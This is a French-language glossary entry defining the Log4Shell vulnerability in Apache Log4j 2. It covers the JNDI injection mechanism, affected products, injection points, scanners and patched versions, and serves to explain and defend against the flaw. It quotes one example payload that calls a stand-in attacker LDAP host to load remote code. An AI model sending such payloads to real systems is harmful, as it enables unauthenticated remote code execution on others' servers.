Log4Shell

Définition

Log4Shell (CVE-2021-44228) est une vulnérabilité critique (CVSS 10.0) dans la bibliothèque de journalisation Java Apache Log4j 2, permettant l'exécution de code à distance via une injection JNDI (Java Naming and Directory Interface). Divulguée le 9 décembre 2021, elle a été qualifiée de pire vulnérabilité de la décennie en raison de l'omniprésence de Log4j dans les applications Java. La vulnérabilité exploite la fonctionnalité de substitution de messages de Log4j : si une chaîne journalisée contient ${jndi:ldap://attaquant.com/exploit}, Log4j tente de résoudre cette expression JNDI en se connectant au serveur LDAP de l'attaquant. Ce serveur LDAP peut retourner une référence à un objet Java hébergé sur un serveur HTTP, que la JVM cible télécharge et exécute. La RCE est instantanée et n'exige aucune authentification préalable. L'impact extraordinaire de Log4Shell résulte de la distribution de Log4j dans pratiquement toutes les applications Java modernes : serveurs VMware vCenter, Cisco products, Minecraft, Steam, Apple iCloud, Amazon AWS, Fortinet products, et des milliers d'applications métier utilisent Log4j pour la journalisation. Le payload peut être injecté dans tout champ journalisé : User-Agent, X-Forwarded-For, paramètres GET/POST, headers HTTP personnalisés. Les scanners Log4Shell (log4j-scan, FullHunt's scanner) testent automatiquement des milliers d'endpoints en injectant des payloads JNDI avec des callbacks DNS (via Burp Collaborator ou interact.sh) pour détecter les instances vulnérables. La correction nécessite la mise à jour vers Log4j 2.17.1+ (la version 2.15 et 2.16 avaient des bypasses partiels). La mitigation temporaire (LOG4J_FORMAT_MSG_NO_LOOKUPS=true) désactive les lookups mais n'est pas complète.